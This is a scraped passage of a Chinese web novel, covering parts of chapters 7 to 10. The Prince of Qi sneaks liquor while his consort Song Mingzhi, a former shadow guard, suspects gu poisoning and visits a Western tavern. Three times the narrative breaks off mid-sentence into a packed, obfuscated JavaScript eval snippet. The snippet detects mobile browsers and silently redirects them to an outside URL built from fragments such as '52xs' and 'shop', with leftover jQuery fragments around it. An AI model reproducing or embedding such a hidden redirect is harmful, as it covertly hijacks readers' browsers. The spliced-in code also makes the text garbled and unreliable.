慕厌舟随手拿来一张丝帕,拭走了指间的雨珠。 石舫内的气氛稍有一些尴尬。 片刻过后,方才有人干笑道:“开,开玩笑而已……” 廖文柏也不懂发生了什么,只得结结巴巴地打着圆场:“对,大家,呃,没有对殿下和王妃不敬的意思。” “对对,是误会,都是误会!” 众人脸上的表情,逐渐轻松了下来。 同在此时,慕厌舟终于重新端起了酒盏。 他淡淡地笑了一下,末了,意味深长道:“你们不懂。” 纨绔甲乙丙:“?” 他们百思不得其解。 廖文柏也不禁疑惑道:“不,不懂什么?” 殿下今日,难道不是成婚后,来这里抱怨他日子过得不尽如人意的吗? 这些他们都懂得啊! 慕厌舟将杯中的酒一饮而尽。 含着笑,开口道:“你们后院里的那些男男女女,只不过是图你们手里面的钱财罢了,所以才不会管你是病是死,只要有钱能花就行,更别说在意你们的前程,管你们吃喝、读书。” 纨绔甲:“不,不是……” 慕厌舟:“你死了,他反倒清静。” 纨绔乙:“殿下,话不能这样说……” 慕厌舟闭上了眼,笑道:“但是王妃,和他们那些人都不一样。” 廖文柏的榆木脑袋,还是没有转过弯来:“这有什么不一样啊?” 天于不知不觉中放了晴—— 雨雾,一点一点地散了个干净。 隔着一座小石桥,宋明稚清清楚楚地见到,慕厌舟正轻笑着道:“我虽然……的确受不了这样的日子,但是我心里很清楚,爱妃他让我读书、喝粥、戒酒,这些全部都是因为他关心我,为了我好。” “所以说,你们都不懂。” 几杯黄汤下肚,桌上的几人,泛起了糊涂。 听完了慕厌舟的这番话,也不知究竟是谁,默默地问了他一声:“……所以,殿下您究竟是想说?” 慕厌舟旋了旋手指间的那只酒盏。 忽然睁开眼,认真道—— “他在意我。” 8. 第八章 实在是见了鬼! 齐王殿下他竟然会说出这样的话? 廖文柏:“噗,咳咳咳……” 他默默地用丝帕擦干了桌上的酒,离慕厌舟远了一点。 ——这个自己是真的不想懂。 桌那头,也不知是谁低声道:“邪门了……” 据说西域盛产蛊毒,难不成,那个从述兰远嫁而来的王妃,给齐王殿下下了什么蛊? 要不然…… 好好的一个人,怎么就会突然变成了这个模样? 慕厌舟的话实在太过诡异,众人竟不知该如何接茬。一片死寂里,廖文柏只好站起身道:“呃,喝酒,喝酒!” 试图借此重新活跃起气氛。 就在此时—— 慕厌舟指间动作忽地一顿,他看向舫外,故作迷惘道:“爱妃……?”说话间,还不自觉地将手里的酒盏,藏到了一边去。 ……爱,爱妃? 众人的视线随慕厌舟一道,落在了悦音舫前—— 雨刚停下,水面上还浮着一层淡淡的薄烟。石舫前,宋明稚穿着一身雀蓝的窄袖长衫,踏过小桥,朝此处而来……满湖的碧色,似乎全部,都凝在了他一个人的身上。 廖文柏瞬间便愣在了此处: 自己,自己或许懂了……! 色令智昏啊! 单单是他这一张脸,的确便足够殿下强忍着痛苦,学到子时,还说出这样莫名其妙的一番话了。 真是不怪齐王殿下会迷糊。 眼看宋明稚已走上悦音舫。 廖文柏还没来得及招呼他,想到慕厌舟口中,宋明稚那“僭越、无礼”的行为后,已有一名纨绔带着醉意,挺身而出道:“齐王殿下他贵为亲王,今日只是想在这里吃一顿饭而已!不知王妃想要干什么——” 说着,便拦在了他的面前。 慕厌舟迅速缓过神来,将那人拨到了一边:“起开。” 接着便清了清嗓子,朝宋明稚道:“我就说你在意我,对吧,爱妃?” 说完,还朝他眨了眨眼。 “来,爱妃。” 悦音舫内,众人齐刷刷地将视线,落了过来。 宋明稚:“……!” 殿下似乎话里有话。 但是—— 开什么玩笑,自己怎么可能会让齐王殿下下不来台? 来不及多想,宋明稚便配合他道:“殿下素有胃疾,我只是放心不下,过来看看。” 说着,他便行礼上前,迎着众人的目光,面不改色地坐在了慕厌舟身旁的空位上。 行云流水,不带一丝迟疑。 某纨绔:“……” 好像是我多嘴了。 临近午时,阳光渐烫。 悦音舫下那一片湖水,也被春风拂出了一片又一片,鱼鳞似的波光。 悦音舫前,元九不禁松了一口气,默默退到了一边:“呼……” 殿下方才应当是远远就看到了王妃,这才会故意开口,将这些话说给王妃,和这群纨绔听的! 若不是自己知道,他早就已经备好了词的话,竟然也差一点就被他骗过去,以为他是认真的了。 实在是会演啊! 波光随风轻晃,落入宋明稚的眼底。 那双水蓝色的眼睛,似乎也随着它,泛出了层层涟漪。 美人在侧—— 纨绔们突然注意起了自己的形象。 几句闲聊之后,不知怎的,便假模假式地指点起了江山来。 见此情形,宋明稚瞬间来了精神: 在场的人,尽管看着不怎么靠谱,但却都是齐王殿下的好友。自己或许,还能从他们的言谈之中,找到一些有关于殿下的蛛丝马迹? 他手握着茶盏,悄悄地竖起了耳朵。 饭桌旁你方唱罢我登场,热闹非凡。 不多时,就有一名身着红袍的公子,激动道:“再过一段时间,就是陛下的寿辰了。我爹说,最近这一阵子,朝廷里,正一边准备这月底的万寿节,一边商量着立储一事。” 立储是近来朝堂上最大的一件事—— 按理来说,此事关系重大,且格外敏.感,是绝对不能在外面乱说的。 但是眼前的人,显然将此不当回事。 他如竹筒里倒豆子般,噼里啪啦便将自己听到的所有事,都倒了出来:“朝中的那群人说,陛下登基已经有二十年了,朝中不能没有太子。还说大皇子年岁最长,又已经有了好几个子嗣……是最合适的人选。” 大皇子表面正儿八经,暗地里花天酒地,一向与这群纨绔不对付,随即,就有人瞪大了眼问他:“然后呢?” 朝臣竟然推举大皇子? 宋明稚不由攥紧了手边的茶盏…… 历史上那昏君,明明是几年后,才顺应百官推举,直接将齐王立为太子的。 现如今,时间和事件全都不对! 宋明稚瞬间紧张了起来—— 万一他真的立大皇子为太子,那该如何是好? 正午的阳光照得宋明稚肤白如纸,唯独握着茶盏的手指,泛起了浅浅的红。 慕厌舟缓缓将视线落在了他手上。 ——听得果然很认真。 见众人看向自己,身着红袍的纨绔清了清嗓子,更来劲了:“陛下听完了之后,格外不悦。我爹说,陛下应当是不喜欢让人逼着他做事,因此……还对大皇子,生出了意见。” 说完,众人便哄然大笑。 宋明稚:“?” 等等,等等…… 桌上气氛怎么如此松散? 他后知后觉地意识到:此时,几人不像是在讨论朝堂大事,反倒像是单纯在看大皇子的笑话。 这并非宋明稚的错觉。 下一息,便有纨绔想到什么似的看向了慕厌舟:“诶我说!怎么没有人推举齐王殿下啊?” 立刻便有人附和:“对啊!齐王殿下虽然是三皇子,但却是皇后娘娘的独子。再者说了,殿下他的外祖父,当年还有从龙之功呢!要不是有他出兵,皇上那时怎么可能……” 世人皆知,当今天子当年就是靠“贤平皇后”父亲手中军权,杀了他的皇兄,依靠宫变夺位的。 这虽然都是事实,但是还没说完,那纨绔也突然意识到此言不妥。 硬是将后面的话,全部咽了下去。 然而,宋明稚这一口气还没有松。 廖文柏竟然又端起了酒杯—— 叹气道:“可惜殿下既没有子嗣,又不像大皇子……明明也好男风,表面上却装得一本正经。啧啧,好像是觉得旁人不知道,他私下的那些破事一样。” 宋明稚:“!” 快快闭嘴吧! 宋明稚完全没想到: 齐王殿下的好友们,竟然一个个都如此的不靠谱! 立储是可以随便乱说的事情吗? 宋明稚的心跳,都快要骤停了。 担心这群人再说出什么不应该说的话,他当即抬手,喝掉了杯中早已经冷掉的茶水。接着,状似随意地斟满一杯,重新端在了手中—— 灼烫感如针,钻出了薄薄的杯壁,热气瞬间自他的指尖,蔓延了开来。 宋明稚轻吸了一口凉气,重重地茶盏放回了桌面上:“砰——” ……这,这是什么情况? 舫内刹那间安静了下来。 方才还在高谈阔论的几个人,瞬间面面相觑,还没等他们反应过来,桌上都发生了什么,慕厌舟已蹙起眉,凝重道:“怎么,手指被茶烫到了吗?” 见那几个人停下交谈。 宋明稚赶忙摇了摇头,低声朝慕厌舟道:“是我不小心,殿下不必担忧。” 说着,便缓缓将手指,收了回来。 ——他的指尖,只有一点点红痕,怕是要不了几息就会消散。 见宋明稚面色如常,今日的东道主廖文柏瞄了一眼,也没有太过于在意。 哪想,他刚移开了视线,紧接着竟然见……慕厌舟转身,朝自己府上的侍女吩咐道:“去拿一些烫伤药来。” 侍女慌忙应道:“是,齐王殿下!” 说完,她便迅速行礼退出了石舫,转眼间消失得无影无踪。 烫,烫伤药?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267391|151711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 廖文柏:“……” 不是,这也未免太过夸张了吧。 只不过是手指被烫红了一点,值得用什么烫伤药吗? 色令智昏,果然是色令智昏啊! 闹完了这么一出,以廖文柏为首的几人,终于没有什么心情,再去讨论“朝堂上的大事”。廖文柏垂头丧气地举起筷子,默默开口催促道:“……算了,吃菜吧,大家都快些吃菜吧。” 众人跟着道:“吃菜,吃菜!” 总算结束了。 宋明稚长舒了一口气。 他正欲重新端起茶盏—— 却看见慕厌舟的手腕,突然间重颤了一下,因他手中握着象牙筷,这一颤,也变得尤其明显。 宋明稚下意识开口,关切道:“齐王殿下?” 慕厌舟揉了揉手腕,默默触向酒盏,朝他眨眼道:“没事,不过是酒瘾犯了而已,让我喝杯酒,压一压就没有事了。” 说时迟那时快! 就在这一刻—— 宋明稚立刻警惕:“殿下!” 话音未落,他的手指,竟已轻轻地按在了慕厌舟的腕上。 宋明稚坚定道:“不能喝酒。” 王府内的藏酒的确有一点多,但是齐王殿下向来自律,怎么可能有酒瘾?更何况……假如殿下真的有酒瘾,那用酒来压制,也只不过是饮鸩止渴而已。 慕厌舟垂眸,轻轻地笑了一下:“好吧,爱妃在意,那本王就不喝了。” 说着,便格外配合地收回了手。 纨绔甲乙丙:“……” 果然不出所料。 - 慕厌舟迫害了众纨绔大半天。 吃饱喝足了以后,终于随宋明稚一道,坐上了回府的马车。 崇京城修建于前朝,道路皆是由土、石等材料,一点一点地夯成。哪怕是雨后,城内道路也没有出现泥泞、难行的情况。 皇室贵族用的马车,内部非常宽敞。 宋明稚虽然与慕厌舟坐在同一辆车内,却仍然保持着远远一段距离。 慕厌舟读了一.夜书,刚一上坐马车,倒头便睡了过去。宋明稚则屏声静气,仔细地整理着他方才听到的信息…… 纨绔们方才说的那番话,也不是一丁的点道理都没有:要想当皇帝,后宅虽然远比不上前朝,但是也很重要。 历史上的齐王殿下,登基的那一年,原主已经去世很久。因此他虽然没有子嗣,但也同样没有什么“男妃”,甚至于更加不伦不类“男皇后”。 宋明稚默默道:……完了。 自己该不会变成阻碍殿下登基的绊脚石吧? 马车疾行,穿过了街巷,一路朝着齐王府而去。忽地碾过石子,发出“吱呀”一声轻响。车厢的那一边……慕厌舟缓缓地睁开了双眼。 他突然笑道:“爱妃想什么呢,怎么这么严肃?” 宋明稚:“!!!” 午后的天光,穿过薄薄的车帷,直直地照在了宋明稚的脸上。 慕厌舟醒的,实在是太过突然。 没有及时藏起脸上表情的宋明稚,犹豫了片刻,最终实话实说道:“回殿下的话,我在想今日之事……” 慕厌舟好整以暇地用手指,在车壁上轻点了两下:“今天怎么了?” 说完,又缓缓地闭上了眼。 话既然都已经说到了这里。 宋明稚索性决定表明心迹,让他未来不会有后顾之忧—— 这桩婚事虽然出自那昏君之手。 但是好歹关系到两国,绝非儿戏,不能想结就结,想离就离。文武百官,说不定也是纠结于此,才不像历史上那样全力推举殿下。 这亲或许得早早和离! 担心齐王未来会被自己束住手脚,宋明稚当即开口,隐晦道:“无论何时,只要殿下需要和离……不管做什么,我都会全力配合殿下,绝不会耽误了殿下的正事。” 马车路过高楼,闯入了阴影之下。 车厢蓦地变暗—— 马车那一头,背靠软枕的慕厌舟,忽地睁开了双眼。 需要,和离? 9.第九章 马车缓缓自高楼下驶了出来。 午间的日光,再度穿透车帷,落在了慕厌舟的身上,灿烂炳焕。 他轻轻地眯了眯眼睛。 这是……在试探自己,可有野心? 慕厌舟坐直了身,像还没有彻底清醒过来似的重复了一遍,“我们,和离?”接着,无比困惑地朝宋明稚看去,“爱妃怎么突然说这个?” 宋明稚答道:“大皇子他……” 薄薄的车壁,隔不住多少声音。 慕厌舟的话,全落在了不远处,负责驾车的元九耳朵里,他不禁用力,攥紧了手中的缰绳,仔细听慕厌舟打算如何应对。 与此同时,马车内—— 听到“大皇子”三个字,慕厌舟突然摇着头笑了起来。 “放心,我可不是大皇子,才不会像他那样娶妻生子,装正经……”说到这里,慕厌舟突然睁大了眼睛,一脸震惊地垂眸看向宋明稚,“等一等,难道说,阿稚你就是喜欢像大皇子那样,道貌岸然的伪君子?嘶,这个好像有点难办啊,我……” 慕厌舟瞬间就带偏了话题。 车内原本有些严肃的气氛,也被他破坏了个一干二净。 听到这,宋明稚立刻纠正:“殿下,我并非这个意思……!” 他知道,大皇子此人非但道貌岸然,历史上还曾经因为嫉妒,而派人刺杀齐王殿下,简直是恶劣至极,自己怎么可能欣赏这样的人? 慕厌舟拖长了语调道:“哦,那就没事了……” 马车在“吁”声之中,缓缓地停在了齐王府内。 慕厌舟低头笑了一下,撩开车帘,走下了马车:“我在意的,只有这个。” 说完,没给宋明稚留下反应时间—— 便叫转身朝元九吩咐,直接驾车送他回酌花院,补昨夜的觉。 元九:“……!” 他默默地拽紧了缰绳: 高,殿下实在是高啊! - 季春时节,草木初萌。 东风一荡,便有一室花香。 身着黑衣的侍从,将密报送进了徽鸣堂中:“……启禀殿下,吾等已在尚书府附近打探完毕,近几日来,并没有人在附近,见到过身着素衣、头戴帷帽的男子。”说着,他便行礼上前,将密报送到了慕厌舟的手中。 慕厌舟随手接了过来。 话音才落下,又有一名侍从,上前道:“启禀殿下——” “王妃已经回到酌花院中,暂无异样。” 慕厌舟斜倚在榻间:“继续去盯着吧。” 说话间,慕厌舟的手腕,突然重重地颤了一下——他只垂眸看了一眼,便随意移开了视线,不再去理会腕上的不适。 “是,殿下。” 侍从差事已了,对视了一眼,准备退出徽鸣堂。 然还不等他们向慕厌舟行礼、告辞,却见对方突然开口道:“等等,还有一事。” 侍从立刻行礼:“还请殿下吩咐。” 慕厌舟随手便从榻边取来了一物,朝着其中一人丢了过去:“接着。” 方才从府外回来的侍从,赶忙上前将它接在了手中,继而,蹙着眉念道:“治…治世方略……” 这是什么东西? 慕厌舟随意拍了拍手道:“去,把这本书誊抄一遍,记得学学我的笔迹。” 侍从:“……?” 他在齐王手下当差多年,还从来都没有做过如此奇怪的事。 但见齐王发话,侍从还是立刻应下:“是,殿下!” 说完,便行礼:“是。” 郑重地拿起《治世方略》退出了屋内。 …… 齐王府,酌花院。 宋明稚没有想到,他上辈子的习惯,竟也被带到了这一世来。身为暗卫,昼夜颠倒惯了的宋明稚,昨夜半点都不累,但是到了白天,却不自觉地便泛起了困来。回到了酌花院以后,宋明稚原本只想随便眯上一小会,不料竟然一觉从中午,睡到了傍晚时分。 夕阳垂暮。 宋明稚并不着急唤人传膳。 而是在酌花院,同几名侍从询问着有关齐王“酒瘾”的事情。 ——今日,齐王说他有酒瘾,宋明稚始终有一些放心不下。 此时,一名身着霁青色罗裙的侍女,正在树下仔细回忆着:“……回王妃,齐王殿下他确实是喜欢喝酒,殿下的胃疾,也是几年前因为喝酒而落下来的。” 酌花院里的众人,只当王妃是在关心殿下的身体状况,纷纷知无不言,言无不尽。 侍女话音刚落下,又有一人开口道:“殿下白天还好,就是每天晚上在睡觉之前,总是喜欢小酌上两杯,从未断过,但是他也从不会喝到酩酊大醉……” 听到这里,又有侍女跟着点头道:“对对!我来齐王府里已经好几年了,还从来都没有见殿下喝醉过呢。” 宋明稚突然蹙起了眉:“几年?” 侍女愣了愣,她似乎没有想到宋明稚会问这个问题,回忆了一会,方才回答道:“……大,大概三年吧。” 宋明稚喃喃道:“三年了……” 天色逐渐变暗,齐王府内亮起了灯。 见再也问不出其他有用的信息,宋明稚终于起身,朝着周围人道,“好,我都知道了,”接着,他又转身看向院外,向那几名侍从吩咐道,“再过上一会,记得去地窖附近看一看,若是有徽鸣堂的人去那里搬酒,记得回来告诉我。” 侍从当即应下:“是,王妃!” 然而—— 还不等他们行礼退下。 宋明稚竟又突然开口:“等等!” 侍从疑惑地转过身:“王妃?” 宋明稚缓步朝着院外走了过来,朝几人道:“不必麻烦了,稍后我自己去看便是。” 王妃果然是在关心殿下! 众人随即行礼退下,劲头十足道:“遵命!” …… 王朝末年,山河破碎, 达官显贵却只顾享乐,一个个沉溺酒色,不问政事。 宋明稚或许没有见过明君、忠良,但却见多了嗜酒如命之人…… 他们往往眼神暗淡、无光,且精神萎靡不振。 就算不论未来的历史。 单看外表,齐王殿下也一点不像是这样的人。 夜色沉沉,如浓墨难化。 阿琅挑着一盏大红灯笼,随着宋明稚一道,走到了齐王府的地窖旁边。夜风一吹,阿琅不禁打了一个哆嗦,朝他道:“公子,我怎么觉得这个地方,看上去有一点点阴森呢。” 宋明稚用铜匙打开了地窖—— 不过几息,他便嗅到了一阵极为浓烈的酒香。 亲王府内的“地窖”自然不同于寻常百姓家。 阿琅挑起灯笼,朝窖内照了进去,宋明稚垂下眼眸便看见:这口地窖,大约有四丈见方,内部空间极为宽敞。里面除了杂物以外,就只有酒坛,几乎没有任何能够落脚的地方。 见状,阿琅也忍不住惊叹道:“公子,齐王府里有好多的酒啊!” 说着,便忍不住默默地咽了一口唾沫。 西域自古以来,便有“尚酒”的习俗。 与宋明稚不同,阿琅是土生土长的述兰国人,浓烈的酒香,瞬间便将他的馋虫勾了出来。得了宋明稚的允许,阿琅立刻自窖中取来一坛酒,顺带着摸出了两只小碗,给自己与宋明稚,分别倒满了两碗。 哪知,刚喝一口—— 他便重重地咳了起来。 宋明稚被他吓了一跳:“怎么了,阿琅?” 阿琅咳个不停:“公子,这坛酒,咳咳也太辣了吧……!” 辣? 宋明稚端起杯盏,随他轻抿了一口,紧接着,竟然也被狠狠地呛了一下:“咳咳……” 辛辣而灼热的气息,好似一把利刃,顺着宋明稚的口腔、食道划了下去,一杯酒下肚,他竟然连半点酒香都没有尝到,只尝到了灼痛。 是烧刀子—— 这种酒价廉、性烈、味冲、似火烧,一般只有平民百姓,才会喝这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14273386|151711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的酒过瘾。 齐王府的酒窖里,怎么会有这样的劣酒? 阿琅的瘾算是彻底过够了。 他一边咳一边道:“奇怪,地窖里面的酒坛,全部都长一个样子……是我拿错了,还是什么情况啊。” 地窖里的酒实在是太多了,二人自然不能一坛一坛试。 宋明稚默默将它记了下来,接着便对阿琅道:“好了,你先回酌花院吧,我一个人在这里守着就好。” ——他也不确定齐王究竟会不会来,因此也不好让阿琅陪自己一直守着。 阿琅震惊道:“啊?” 公子方才说,要看看齐王会不会来地窖取酒,他还以为只是来这里随便看一眼就好,没有想到……竟然会是蹲守! 虽说如今公子的荣华富贵系于他。 但短短几日,公子为何会如此在意齐王? 总不会…… 总不会是嫁出去的公子,泼出去的水吧! 夜风吹过酒窖。 阿琅的身后忽地一寒。 …… 亥时初刻,齐王府。 慕厌舟推开了屋门,悄声向着徽鸣堂外面的穿堂而去。 他的身边,还带着两下人,此时,那两名下人已经先他一步经过穿堂,一路鬼鬼祟祟地走进了王府后院: “脚步声放小一点!” “把灯熄了,别惊扰到其他人……” “四处看看,王妃的人,有可能守在这里!” 两人熄了灯,在后院外停顿片刻,凭经验确定四下无人之后,方才越过下槛。而后屏声静气,贴着隔墙壁步入院内。反复确定后院里面没有人之后,方才转过身朝慕厌舟道:“齐王殿下,放心,里面没人——” 话音落下之后,一直等在后院外面的慕厌舟,终于缓步走上前来。他并没有进院,而是远远朝两人吩咐道:“去把地窖打开吧。” 下人:“是,殿下——” 慕厌舟:“低声点。” 晴了一日的崇京,到了夜里又飘起了细雨。 十五的满月,全部藏在了一层薄薄的云中,月光尽数被它挡在了身后。 宋明稚坐在树上看到—— 昏黄的烛火映亮了小小的后院。 齐王刚一发话,下人立刻领命,快步上前去用一把铜钥,打开了地窖。 宋明稚曾让侍从统计过酒坛数。 因此,这两名下人取出酒之后,并没有将它带出地窖来,而是不知道从哪摸出了一只小小的酒囊,灌满之后,方才小心翼翼地抬起手来,递给了负责接应的同伴。 并于此时,兴冲冲道:“好了,好了!” 就在此刻—— 他的手指,忽地一痒:“哎哟!” 原本便心中有鬼的他,瞬间大惊失色,不自觉在原地跳了一下,差一点便将手中的酒囊,丢在了地上。 上面的同伴忙道:“安静点,一惊一乍地做什么呢!” 另一人哑声道:“有人用纸团砸……” 然而他的话还没有说完,便一脸惊恐地睁大了眼睛。 月亮虽然还藏在云朵后…… 地上的灯笼却在泛着暖暖的光。 地窖内的下人刚一抬头便看到—— 宋明稚笑了一下,轻轻自树杈上面跳了下来,缓步上前朝自己道:“酒,交出来。” …… 慕厌舟倚着院墙,等候在小院外。 几息之后,忽然听到背后传来了一阵脚步声。 他没有回头看,而是直接抬手道:“好了,给我吧。” 接着,便听见背后传来一声:“是,殿下。” 慕厌舟:“。” 这个声音…… 有人抬手将酒囊递了过来—— 他的手指在夜里白得刺眼,好似用雪雕琢而成。 “好巧啊,爱妃。” 王府后院的院墙下。 齐王殿下默默地收回了手。 继而抬头,望向天道:“你也是来赏月的吗?” 10.第十章 宋明稚随慕厌舟一道,将目光落向天边。 今晚的崇京乌云蔽月,别说是赏月,就连月亮的影子,都找不到。 宋明稚拖长了音道:“哦,月亮……” 慕厌舟移开了视线,苍白无力道:“奇怪,方才我看它还在这里呢。” 刚狡辩完,他便见……随自己一道来后院的下人,如两只鹌鹑一般畏畏缩缩地跟在宋明稚的身后,从后院里面走了出来,此时,正抬头朝自己讪笑着。 满脸都写着:殿下,坦白从宽吧。 ——显然是全都已经招给了王妃。 慕厌舟:“……” 识时务者为俊杰。 他轻叹了一口气,闭了闭眼睛,老实交代道:“小酌怡情,助眠而已,王妃不如看在我苦苦地读了一晚书的份上,通融通融。况且,就算戒酒也该循序渐进吧?” 哪有人小酌的时候喝烧刀子的? 夜风乍起,吹灭了檐下的宫灯。 宋明稚正想开口,却看到……就在慕厌舟话音落下的同一时间:他的目光忽地一晦,连气息也随之乱了半拍。 这一瞬的变化,虽然微乎其微,但仍没能够逃过宋明稚的双眼。他的话音瞬间一顿,慕厌舟在廖家说的那句话,也随之,浮现在了宋明稚的脑海中…… 喝杯酒就好了。 殿下在借酒来抑制身体的异状? 宋明稚不动声色地移开了视线,朝他递出了酒囊:“殿下往后,若是想喝酒,可以由我来取。” 与此同时。 下人快步上前,重新点亮了后院门前的那盏宫灯。不过是眨眼的工夫,院外便重新亮了起来。慕厌舟也喝完了酒,将酒囊扔回到了宋明稚的手中。 顺便诋毁道:“好小气的人啊。” 此时他已经完全恢复如常—— 殿下方才的症状并非酒瘾,而就算他真的是酒瘾,也绝不可能凭一杯酒,便在瞬间恢复过来。 宋明稚的心中,逐渐生出了一个猜测…… 季春时节,乍暖还寒,夜里不宜在外久待。 眼看酒已经喝完,慕厌舟吩咐其中一名下人,送宋明稚回酌花院。还不等二人走远,他便压低了声音,朝另一人问道:“铜钥你可有收好?” 齐王殿下乃一府之主,怎么可以连一点喝酒的自由都没有?下人当即答道:“还请殿下放心,我已经——” 说着便在身上摸了起来。 岂料,竟一把掏了个空:“这,我…我把铜钥放在哪里了?我方才明明已经将铜钥收好了啊。” 下人的脸色,瞬间一变。 他转过身便挑起了灯笼,朝院里面看了过去。 夜风吹散了一丝浮云。 月光下—— 二人并没有看到铜钥。 只看到,不远处宋明稚高高地抬起手,晃了晃手里的东西:“殿下可是在找这个?” 下人瞬间面如土色:“这,这怎么会在王妃的手中!” 说着便要上前去取。 然而还未够到铜钥,宋明稚已将它收回掌心:“我暂存几日。” 慕厌舟垂下眼帘,轻笑道:“好,都听王妃的。” 同时,不着痕迹地用手指在腿边轻点了两下。 他发现,自己的王妃…… 似乎有些小小的本事。 或许,是该多派几个人盯着他了。 - 暮色四合,霞光如锦。 地处崇京城角的南市,到了最热闹的时候。 大楚与西域交往密切,除了官方的驿馆外。来自西域各国的客商、舞姬大多数都落脚,甚至常住于南市。 坊市一角。 西域打扮的舞姬,正赤着脚随细密的鼓点起舞,扬袖向围观者抛洒彩绸,引起一阵哄抢。羯鼓声中,宋明稚戴着面纱,绕过人群,走进了一家金铺。 此时,他正同老板道:“劳烦老板看看,这只铃铛是出自哪位工匠之手。” “南市”是崇京城内最大的一座市集,内部鱼龙混杂。老板并没有多问,便接过了他手中的那只铃铛,同时朝他道:“公子手中这只铃铛,应该有些年头了?” 宋明稚想了想:“应当有十几年了吧。” 老板点了点头,“这只铃铛内部为铜,外面还镀了一层金……有这个手艺的,崇京城里应该也并不多。只不过,时间实在过久,一时之间,或许不太好找,”他放下铃铛,问宋明稚道,“不知公子可愿将铃铛留在此处,容我仔细问问?” “劳烦了,”宋明稚朝他点头,并将一枚金锭放在了桌案上,“我今日还有事,老板不必着急,等过两日,我再来店内取它。”说着,便朝店外而去。 “自然,自然!” 见状,老板的眼前瞬间一亮。 连忙拱手相送:“公子还有何事,要是需要帮忙,尽管直言!” 宋明稚笑了笑道:“无妨,找人而已。” 说话间,他已走出金店,朝着“醉影楼”而去。 齐王府里面的守卫,近来突然密了不少。宋明稚出一趟门,虽然不难,但仍有一些麻烦,因此他一回便要多做些事才可以。 相比起铃铛,这才是他今日的重头戏。 宋明稚一连观察了好几日—— 慕厌舟除了偶尔手指轻颤以外,并未有任何与“酒瘾”有关系的症状。他虽然喜好喝酒,但是完全没有成瘾的迹象,与之相反的是……他每日喝酒的时间与饮酒量,都极其规律。 比得上一日三餐。 这样的情况…… 宋明稚并不陌生。 上一世,从进入暗卫营那天起,宋明稚的体内便被人种下了蛊毒。每日不得不服用特制的药物“喂养”体内的蛊虫,让其保持安定。 若自己没有猜错…… 齐王殿下或许是被人下了蛊毒,他体内蛊虫,极有可能以酒为食! 坊市内,羯鼓声渐密,舞姬的脚步越来越快。 随着最后一阵鼓声的落下,宋明稚终于推门,走进了“醉影楼”中。 香气瞬间扑面而来。 不等他回头关好门,身着绯裙的胡姬,已经端着一盏酒,来到了宋明稚的面前。 看清他瞳色的瞬间,便用述兰话唤道:“公子,生客啊——” 宋明稚的娘亲是一名述兰舞姬。 出生、成长于胡姬酒肆中的他,最先学会的,自然也是述兰话。 宋明稚默默地向后退了小半步,他没有接酒,而是直接问:“你们老板,今日可在?” 胡姬愣了一下:“老板?” 她缓缓放下了手中的酒盏。 宋明稚点了点头,自然道:“对,找你们老板来,就说有个人要来向他……买些东西。” “醉影楼”既是崇京城里,最大的一家西域酒肆,更是宋明稚上一世出生、长大的地方。据宋明稚所知,“醉影楼”的历任老板,除了在崇京城里面做做生意以外,背地里,也经常往来于西域与中原之间,且专贩一些“歪门邪道”的暴利之物。 ——算得上半个黑心商贾。 胡姬犹豫片刻,终于点头道:“还请公子在这里稍候片刻,我去看看,他今日可在楼内。” 鲜少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14296333|151711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人知道醉影楼的老板,还在私下做别的生意。宋明稚的相貌,还有自来熟的语气,直接被这舞姬,误认为了老板的“熟客”或是西域旧友。 说着,她便朝宋明稚躬了躬身,离开了酒肆前厅。 宋明稚回礼道:“麻烦了。” 同时默默地站在了廊柱下。 “醉影楼”内的装潢布局,是经典的西域样式,厅内没有放置没有桌、椅,只铺着一张巨大的地毯,一眼望去,一切尽收眼底。只有几根柱子,勉强能挡住点视线。 崇京城内不便用帷帽遮面。 因此宋明稚虽身处于南市中,并且还戴了面纱,但是他这一头白金色的长发仍旧太过显眼,哪怕身处于廊柱下,还是为他引来了无数或明或暗的打量。 …… 醉影楼,二层。 几个喝得酩酊大醉的纨绔公子,被胡姬搀扶着走出了包厢。 其中一人刚出门便停下了脚步:“等等……” 他一边打着酒嗝一边朝栏杆而去。 见此情形,胡姬立刻上前去搀扶:“公子,当心!” 他并未理会身边的人,而是直勾勾地盯着楼下看:“奇怪……” 有人走上前问:“怎么了?建,建安兄。” 名叫尤建安的纨绔,将人扯到了自己身边:“你,你看楼下,那根柱子旁!” “那个人……我看,看着怎么有一些眼熟?” 还不等身边人说话,同行的廖文柏,也踉跄着跟到了栏杆旁,朝楼下望去。他本只是随意一瞥,然而几息后,便突然用力睁大了眼睛,重重地用手肘撞了同伴一下:“你,你看下面那个人!” “什么人?”同样醉气熏天的纨绔,顺着他所指的方向看了过去。几息后,便瞪大了双眼,“他,他!怎么有点像……齐王妃?” 